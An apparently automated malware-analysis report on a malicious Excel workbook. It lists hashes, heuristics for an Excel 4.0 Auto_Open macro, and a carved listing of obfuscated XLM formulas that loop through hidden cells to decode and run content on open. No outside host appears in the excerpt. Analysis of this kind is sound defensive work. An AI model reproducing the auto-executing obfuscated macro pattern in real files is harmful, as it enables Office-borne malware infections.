Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9b66b7a294429cd6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:53 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: d13d2d3814e8caf2716d5b242c06da74 SHA-1: 7e488e436e22b32e345aa77cc6871eb62c1ecda6 SHA-256: 9b66b7a294429cd622579f519d2d028e673d12129c19e4aee08de8c3c3d70731
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6646 bytes
SHA-256: 57e08fc0aa7f60b6dbaf8bbb45e8f17cd99c4a8efa031bfc49148849c517269e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KzBWad
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B161 
' 0018     20 LABEL : Cell Value, String Constant - AYyKn len=0 
' 0018     22 LABEL : Cell Value, String Constant - diVtpeS len=0 
' 0018     23 LABEL : Cell Value, String Constant - EtODrRqd len=0 
' 0018     25 LABEL : Cell Value, String Constant - fYLvYwjNwo len=0 
' 0018     24 LABEL : Cell Value, String Constant - gKXHOwJNG len=0 
' 0018     20 LABEL : Cell Value, String Constant - gvlYw len=0 
' 0018     23 LABEL : Cell Value, String Constant - GYNAOLYh len=0 
' 0018     21 LABEL : Cell Value, String Constant - hQaizW len=0 
' 0018     26 LABEL : Cell Value, String Constant - iHGstNedrbL len=0 
' 0018     22 LABEL : Cell Value, String Constant - iMBZMSc len=0 
' 0018     24 LABEL : Cell Value, String Constant - InbzCEpPo len=0 
' 0018     27 LABEL : Cell Value, String Constant - ktulEUwgQCgi len=0 
' 0018     21 LABEL : Cell Value, String Constant - LNUANx len=0 
' 0018     22 LABEL : Cell Value, String Constant - OItDebz len=0 
' 0018     23 LABEL : Cell Value, String Constant - oTIOPsNd len=0 
' 0018     27 LABEL : Cell Value, String Constant - RCqsPiGhRwaE len=0 
' 0018     27 LABEL : Cell Value, String Constant - RQEVUjEjuQou len=0 
' 0018     24 LABEL : Cell Value, String Constant - tLtnSkRFI len=0 
' 0018     23 LABEL : Cell Value, String Constant - vtNoqCUO len=0 
' 0018     25 LABEL : Cell Value, String Constant - VVBmQJFrBT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KzBWad,R48,"",-890.00000000000000000000
'  KzBWad,R49,"",-221.00000000000000000000
'  KzBWad,R50,"",782.00000000000000000000
'  KzBWad,R51,"",221.00000000000000000000
'  KzBWad,R52,"",-461.00000000000000000000
'  KzBWad,R53,"",-582.00000000000000000000
'  KzBWad,B66,"SET.NAME("oTIOPsNd",0+VALUE("0"))",""
'  KzBWad,B71,"SET.NAME("gKXHOwJNG",oTIOPsNd)",""
'  KzBWad,B74,"SET.NAME("tLtnSkRFI",oTIOPsNd)",""
'  KzBWad,B76,"SET.NAME("GYNAOLYh",COUNTA(AYyKn))",""
'  KzBWad,B78,"SET.NAME("iHGstNedrbL",COUNTA(hQaizW))",""
'  KzBWad,B83,[],""
'  KzBWad,B85,"SET.NAME("iMBZMSc","")",""
'  KzBWad,B90,"gKXHOwJNG",""
'  KzBWad,B94,"SET.NAME("EtODrRqd",HLOOKUP("*",AYyKn,gKXHOwJNG,FALSE))",""
'  KzBWad,B98,"RQEVUjEjuQou",""
'  KzBWad,B102,"SET.NAME("LNUANx",oTIOPsNd)",""
'  KzBWad,B107,[],""
'  KzBWad,B111,"LNUANx",""
'  KzBWad,B115,"fYLvYwjNwo",""
'  KzBWad,B120,"RCqsPiGhRwaE",""
'  KzBWad,B123,"OItDebz",""
'  KzBWad,B128,"SET.NAME("InbzCEpPo",VALUE(HLOOKUP("*",hQaizW,OItDebz,FALSE)))",""
'  KzBWad,B130,"vtNoqCUO",""
'  KzBWad,B135,"iMBZMSc",""
'  KzBWad,B137,"tLtnSkRFI",""
'  KzBWad,B141,NEXT(),""
'  KzBWad,B145,"ktulEUwgQCgi",""
'  KzBWad,B149,[],""
'  KzBWad,B153,"diVtpeS",""
'  KzBWad,B155,NEXT(),""
'  KzBWad,B158,RETURN(),""
'  KzBWad,B185,"SET.NAME("gvlYw",B66)",""
'  KzBWad,B189,"AYyKn",""
'  KzBWad,B193,"SET.NAME("hQaizW",R45C11)",""
'  KzBWad,B195,"SET.NAME("diVtpeS",201)",""
'  KzBWad,B197,"SET.NAME("VVBmQJFrBT",2)",""
'  KzBWad,B200,gvlYw(),""
'  KzBWad,B201,HALT(),""